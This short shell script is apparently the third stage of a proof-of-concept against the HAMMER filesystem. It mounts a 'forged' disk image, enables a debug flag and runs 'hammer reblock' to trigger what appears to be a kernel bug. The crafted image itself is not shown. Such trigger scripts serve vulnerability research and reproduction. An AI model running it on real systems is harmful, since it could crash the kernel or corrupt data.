#!/bin/sh
# Stage 3: mount the forged image and run the reblocker.
vnconfig -c -S 12G vn0 /build/poc.img || exit 1
mount -t hammer /dev/vn0 /mnt || { vnconfig -u vn0; exit 1; }
sysctl vfs.hammer.debug_general=0x4000
sync
echo MOUNTED -- running hammer reblock
hammer reblock /mnt
echo REBLOCK_RC=$?
df /mnt
umount /mnt
vnconfig -u vn0
echo TRIGGER-DONE
